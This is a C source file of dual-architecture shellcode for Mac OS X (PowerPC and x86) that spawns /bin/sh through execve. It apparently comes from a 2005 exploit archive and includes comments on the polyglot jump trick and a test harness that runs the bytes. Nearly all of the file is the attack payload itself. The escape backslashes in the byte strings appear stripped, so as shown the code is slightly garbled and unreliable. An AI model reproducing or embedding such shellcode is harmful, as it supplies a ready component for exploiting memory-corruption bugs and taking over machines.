/*
 * -[ dual.c ]-
 * by nemo@felinemenace.org
 *
 * execve("/bin/sh",{"/bin/sh",NULL},NULL) shellcode
 * for osx (both the ppc and x86 version.)
 *
 * Sample output:
 *
 * -[nemo@squee:~/shellcode]$ file dual-ppc
 * dual-ppc: Mach-O executable ppc
 * -[nemo@squee:~/shellcode]$ ./dual-ppc
 * sh-2.05b$ exit
 *
 * -[nemo@squee:~/shellcode]$ file dual-x86
 * dual-x86: Mach-O executable i386
 * -[nemo@squee:~/shellcode]$ ./dual-x86
 * sh-2.05b$ exit
 */

char dual[] =
//
// These four bytes work out to the following instruction
// in ppc arch: "rlwnm   r16,r28,r29,13,4", which will
// basically do nothing on osx/ppc.
//
// However on x86 architecture the four bytes are 3
// instructions:
//
// "push/nop/jmp"
//
// In this way, execution will be taken to the x86 shellcode
// on an x86 machine, and the ppc shellcode when running
// on a ppc architecture machine.
//
"x5fx90xebx48"

// ppc execve() code by b-r00t
"x7cxa5x2ax79x40x82xffxfd"
"x7dx68x02xa6x3bxebx01x70"
"x39x40x01x70x39x1fxfexcf"
"x7cxa8x29xaex38x7fxfexc8"
"x90x61xffxf8x90xa1xffxfc"
"x38x81xffxf8x38x0axfexcb"
"x44xffxffx02x7cxa3x2bx78"
"x38x0axfex91x44xffxffx02"
"x2fx62x69x6ex2fx73x68x58"

// osx86 execve() code by nemo
"x31xdbx6ax3bx58x53xebx18x5f"
"x57x53x54x54x57x6axffx88x5f"
"x07x89x5fxf5x88x5fxfax9axff"
"xffxffxffx2bxffxe8xe3xffxff"
"xff/bin/shX";

int main(int ac, char **av)
{
       void (*fp)() = dual;
       fp();
}

// www.Syue.com [2005-11-13]